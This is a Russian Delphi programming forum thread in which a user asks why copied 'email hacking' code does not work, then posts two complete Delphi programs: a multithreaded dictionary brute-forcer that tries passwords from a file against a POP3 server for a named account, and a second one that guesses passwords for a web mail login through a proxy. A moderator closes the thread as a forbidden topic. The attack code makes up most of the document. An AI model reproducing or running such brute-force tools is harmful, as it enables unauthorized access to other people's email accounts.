Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Интернет и сети
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 28.02.2008, 12:41
Sanek_ntsk Sanek_ntsk вне форума
Новичок
 
Регистрация: 02.09.2007
Сообщения: 55
Репутация: 10
Восклицание Взлом e-mail

Здрасьте всем!!! На сайте в разделе FAQ я нашёл статью о взламывании почты. Я скопировал текст, поместил нужные компоненты, запускаю, нажимаю кнопку, и ничё не происходит. Пробовал ждать минут десять пока там чё-нить появится - нифига. Помогите пожалста с этой прогой.
Заранее спасибо
  #2  
Старый 28.02.2008, 13:25
Аватар для <<D>>
<<D>> <<D>> вне форума
Активный
 
Регистрация: 06.05.2007
Адрес: ГДЕ ТО В СОЛНЕЧНОЙ СИСТЕМЕ
Сообщения: 207
Репутация: 15
По умолчанию

Ты хоть бы код разместил.
__________________
Кому я должен - всем прощаю!!!!
  #3  
Старый 28.02.2008, 21:31
Аватар для SPYtm
SPYtm SPYtm вне форума
Прохожий
 
Регистрация: 25.12.2007
Адрес: Екатеринбург
Сообщения: 18
Репутация: 10
По умолчанию

В инете дофига примеров брутфорсеров мыла, как одно-, так и многопоточных, учись пользоваться поиском... в тот же delphiworld включены по-моему два примера брутов.
__________________
В.Бендер
  #4  
Старый 01.03.2008, 09:56
Sanek_ntsk Sanek_ntsk вне форума
Новичок
 
Регистрация: 02.09.2007
Сообщения: 55
Репутация: 10
По умолчанию

Вот код первого примера:
Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;
type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;
 
type
  TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;
 
var
  Form1: TForm1;
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringList с паролями
  PassList : TStringList;
 
 
const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
  User = 'dndanil';
 
implementation
{$R *.DFM}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
end;
 
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
  if Rez then
    Rez:=false
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
    end;
  end;
end;
 
// Проца инициализации процесса
procedure TScan.Execute;
begin
  try
    // Запуск цикла
    while true do
    begin
      CScan;
      //Выход, если подобрали или закончился словарь
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  //Если все процессы прерваны -
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
  end;
end;
 
//Проца сканирования
procedure TScan.CScan;
var
  iaddr, x, I2 : Integer;
  Buf : array [1..255] of Char;
 
  //Отправка
  procedure sender(str:string);
  var
    I1: integer;
  begin
    for I1:=1 to Length(str) do
      if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
        exit;
  end;
 
begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Адрес сервака
    iaddr := inet_addr(PChar(POP3serv));
    if iaddr <=0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    addr.sin_family := AF_INET;
    // Порт сервака
    addr.sin_port := htons(110);
    addr.sin_addr.S_addr:=iaddr;
    if (connect(sock2, addr, sizeof(addr))) >0 then
    begin
      try
        closesocket(sock2);
      except
      end;
      exit;
    end;
    //Получение при соединении
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"user user"
    sender('user '+User+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
      exit;
    //"pass password"
    sender('pass '+PassList.Strings[I2]+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    //Если подобралось
    if (x>3)and(buf[1]='+') then
    begin
      Rez:=false;
      Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
      exit;
    end;
    try
      closesocket(sock2);
    except
    end;
  except
  end;
end;
 
end.

Вот второй пример:
Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls, WinSock;
 
type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;
 
// Описание процесса
type
  TScan = class(TThread)
    sock2: TSocket;
    addr: TSockAddrIn;
    WSAData: TWSAData;
  private
    procedure CScan;
  protected
    procedure Execute; override;
end;
 
var
  Form1: TForm1;
  // Массив процессов
  Sock : array[1..255] of TScan;
  Rez : boolean = false;
  // Кол-во запущенных процессов на данный момент
  I0 : Integer;
  // Номер текущего пароля
  I : Integer;
  // TStringGrid-ы с паролями и с логом
  PassList, DopList1 : TStringList;
 
const
  FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
  ProcCount = 10; // кол-во процессов
  // Адрес прокси через который будет сканирование.
  // Лучше отпинговать сначала
  HTTPserv = 'proxy.address.net';
  User = 'USER';
 
implementation
 
// Для преобразование имени
type
  TaPInAddr = array [0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
 
{$R *.DFM}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  PassList:=TStringList.Create;
  DopList1:=TStringList.Create;
end;
 
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
  J0 : Integer;
begin
  if Rez then
  begin
    Rez:=false;
    for J0:=1 to I0 do
      try
        Sock[J0].Terminate;
      except
      end;
  end
  else
  begin
    // Открытие и загрузка файла паролей
    try
      PassList.Clear;
      PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
      Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
      exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
      Sock[I0]:=TScan.Create(false);
      inc(I0); // Подсчитать их кол-во
      //Выйти если больше указанного, или стоп, или подобрали
      if (I0>ProcCount)or(not Rez) then
        break;
      if I0 mod 100 = 0 then
        DopList1.Text:=IntToStr(I0);
    end;
  end;
end;
 
// Инициализация процесса
procedure TScan.Execute;
var
  iaddr, x0 : Integer;
  ph : PHostEnt;
  pptr : PaPInAddr;
  InAddr : TInAddr;
begin
  try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
      try
        closesocket(sock2);
      except
      end;
 
      try
        Terminate;
      except
      end;
      exit;
    end;
    // Получение адреса
    iaddr := inet_addr(HTTPserv);
    if iaddr <=0 then
    begin
      // Если имя, а не IP
      ph := gethostbyname(HTTPserv);
      if ph = nil then
      begin
        try
          closesocket(sock2);
        except
        end;
 
        try
          Terminate;
        except
        end;
        exit;
      end;
      pptr := PaPInAddr(ph^.h_addr_list);
      x0 := 0;
      while pptr^[x0] <> nil do
      begin
        InAddr:= pptr^[x0]^;
        inc(x0);
        addr.sin_addr:=inaddr;
        addr.sin_family := AF_INET;
        // Порт прокси - 80, 3128, 80808 и т.п.
        addr.sin_port := htons(80);
        if (connect(sock2, addr, sizeof(addr))) = 0 then
          break
      end;
    end
    else
    begin
      // Если IP
      addr.sin_addr.S_addr:=iaddr;
      addr.sin_family := AF_INET;
      // Порт прокси - 80, 3128, 80808 и т.п.
      addr.sin_port := htons(80);
      addr.sin_family := AF_INET;
      if (connect(sock2, addr, sizeof(addr))) > 0 then
      begin
        try
          closesocket(sock2);
        except
        end;
 
        try
          Terminate;
        except
        end;
        exit;
      end;
    end;
    // Запуск цикла
    while true do
    begin
      CScan;
      if (not Rez)or(I>=PassList.Count) then
        break;
    end;
  except
  end;
  dec(I0);
  try
    Terminate;
  except
  end;
  // Если отмена, закончился список или подобрали
  if I0<=1 then
  begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
    DopList1.SaveToFile('log.txt');
  end;
end;
 
// Процедура сканирования
procedure TScan.CScan;
var
  x, I2 : Integer;
  Buf : string;
begin
  I2:=I;
  inc(I);
  Form1.ProgressBar1.Position:=I2+1;
  Application.ProcessMessages;
  try
    // Формирование url
    Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+
PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0';
    // Отправка данных
    send(sock2,Buf[1],length(Buf),0);
    // Получение 300 байт
    setlength(Buf,300);
    x:=recv(sock2,Buf[1],300,0);
    if x<300 then
      exit;
    setlength(Buf,300);
    // Если подобрали
    if pos(Buf,'<!D')<=0 then // ???
    begin
      Rez:=false;
      DopList1.Text:='Pass = '+PassList.Strings[I2];
      Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
      exit;
    end;
  except
  end;
end;
 
end.
  #5  
Старый 03.03.2008, 05:13
Аватар для Aristarh Dark
Aristarh Dark Aristarh Dark вне форума
Модератор
 
Регистрация: 07.10.2005
Адрес: Москва
Сообщения: 2,907
Версия Delphi: Delphi XE
Репутация: выкл
По умолчанию

Подобные темы запрещены для обсуждения на данном форуме. Тему закрываю.
Закрытая тема


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 02:39.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025